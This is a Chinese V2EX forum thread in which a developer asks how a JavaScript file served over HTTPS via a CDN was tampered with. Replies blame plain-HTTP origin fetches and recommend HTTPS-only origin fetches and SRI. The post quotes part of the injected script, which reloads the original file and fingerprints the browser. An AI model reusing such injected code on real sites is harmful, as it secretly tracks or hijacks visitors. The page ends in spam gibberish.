好奇 https 下,蓝讯 CDN 分发的 js 内容是如何被篡改的? - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
工单节点使用指南
请用平和的语言准确描述你所遇到的问题
厂商的技术支持和你一样也是有喜怒哀乐的普通人类,尊重是相互的
如果是关于 V2EX 本身的问题反馈,请使用 反馈 节点
alex321
V2EX    全球工单系统

好奇 https 下,蓝讯 CDN 分发的 js 内容是如何被篡改的?

  •  
  •   alex321 2018-08-07 12:15:17 +08:00 5047 次点击
    这是一个创建于 2646 天前的主题,其中的信息可能已经有所发展或是发生改变。
    情况这样,我们有一个域名做静态 static.example.com 资源分发,已经部署了 https,使用的证书是泛域证书,比如 *.example.com 。使用了蓝讯 CDN 的服务。
    然后,今天发现这样的情形,有一个 https://static.example.com/js/lib/app.js 的内容被篡改了,检查过浏览器的证书,没问题,是我们自己的泛域名证书 *.example.com ,但内容已经变成类似如下的东西。

    var _jsurl = "http://static.example.com/js/lib/app.js";_jsurl += (_jsurl.indexOf('?') > 0 ? '&' : '?') + '_t=' + (new Date().getTime());var _b = "XXTS02";var _c = "1317528361_(D1gRiK90V1atV1P6D9==_1767603217_1_)ie==";var jsNode1=document.createElement("script");jsNode1.setAttribute("type","text/Javascript"),jsNode1.setAttribute("src",_jsurl),document.head?document.head.appendChild(jsNode1):document.body&&document.body.appendChild(jsNode1); !function(a,b){function c(a){var d,e,f,g,h,i,b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";for(new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1),f=a.length,e=0,d="";f>e;){if(g=255&a.charCodeAt(e++),e==f){d+=b.charAt(g>>2),d+=b.charAt((3&g)<<4),d+="==";break}if(h=a.charCodeAt(e++),e==f){d+=b.charAt(g>>2),d+=b.charAt((3&g)<<4|(240&h)>>4),d+=b.charAt((15&h)<<2),d+="=";break}i=a.charCodeAt(e++),d+=b.charAt(g>>2),d+=b.charAt((3&g)<<4|(240&h)>>4),d+=b.charAt((15&h)<<2|(192&i)>>6),d+=b.charAt(63&i)}return d}function d(){return-1!=b.userAgent.indexOf("MSIE")?"ie":-1!=b.userAgent.indexOf("Chrome")?"Chrome":-1!=b.userAgent.indexOf("Firefox")?"Firefox":-1!=b.userAgent.indexOf("Opera")?"Opera":-1!=b.userAgent.indexOf("Netscape")?"Netscape":-1!=b.userAgent.indexOf("Safari")?"Safari":""}function e(){function e(){var a="",c=b.plugins;if(c.length>0)for(j=0;j
    11 条回复    2018-08-07 15:24:24 +08:00
    JGideon
        1
    JGideon  
       2018-08-07 12:20:25 +08:00   1
    cdn 回源用的是 http ?
    zhuowenli
        2
    zhuowenli  
       2018-08-07 12:22:20 +08:00   1
    之前遇到过 CDN 跟 CDN 服务器之间同步没有走 HTTPS,然后在同步的过程中被篡改的。
    stevenhawking
        3
    stevenhawking  
       2018-08-07 13:04:36 +08:00   1
    记得国外有个 Jsdelivr,在中国跟网宿合作的。

    但是,不久前被污染了
    Livid
        4
    Livid  
    MOD
    PRO
       2018-08-07 13:07:51 +08:00   3
    建议源站只监听 https 443 端口,然后只允许 CDN 通过 https 方式回源。
    wsad001002
        5
    wsad001002  
       2018-08-07 13:09:54 +08:00 via iPhone   1
    不清楚楼主的具体拓扑,但是我司使用 akamai 的 dsa( https 加速)是需要在我司的服务器上安装一套证书私钥(origin-www.example.com),在 akamai 上也安装一套证书私钥(www.example.com)。用户访问 www.example.com 的时候其实是与 akamai 的 edge 服务器建立 https 连接,然后 akamai 将数据 downgrade 成 http,然后内部做四七层转发或者其他自定义缓存控制,然后再与我司 origin-www.example.com 服务器建立 https 服务。至少与 akamai 的工程师确认过,数据在他们内部就是透明的。其实也可以理解,如果数据在 cdn 处不透明,他们无法解密 https 数据流的话,那么 cdn 也无法建立缓存和策略控制。目测是 cdn 的缓存有问题,被污染了,所以,换个靠谱的 cdn 吧…
    miyuki
        6
    miyuki  
       2018-08-07 13:24:03 +08:00 via Android   1
    cdn 用 http 回源被劫持了
    bequt
        7
    bequt  
       2018-08-07 13:34:09 +08:00
    @stevenhawking SRI 不知道有没有用。现在在用 jsdelivr,感觉还行吧。。
    国内都不知道用什么 cdn 了。
    alex321
        8
    alex321  
    OP
       2018-08-07 13:48:05 +08:00
    @JGideon #1 具体是运维那边操作的,应该是走 http 的。
    miyuki
        9
    miyuki  
       2018-08-07 14:48:16 +08:00 via Android
    @bequt

    如果你也在用 jsdelivr,那么请小心,他的节点会投毒。
    t/403110
    mywaiting
        10
    mywaiting  
       2018-08-07 15:08:02 +08:00
    SRI 请了解一下 https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity

    当然了,污染仍然是存在的,建议只用 HTTPS 回源
    ETiV
        11
    ETiV  
       2018-08-07 15:24:24 +08:00 via iPhone
    遇到过 apple.com 被 cdn 劫持的,登录页跳到支付宝
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     3857 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 25ms UTC 04:13 PVG 12:13 LAX 20:13 JFK 23:13
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86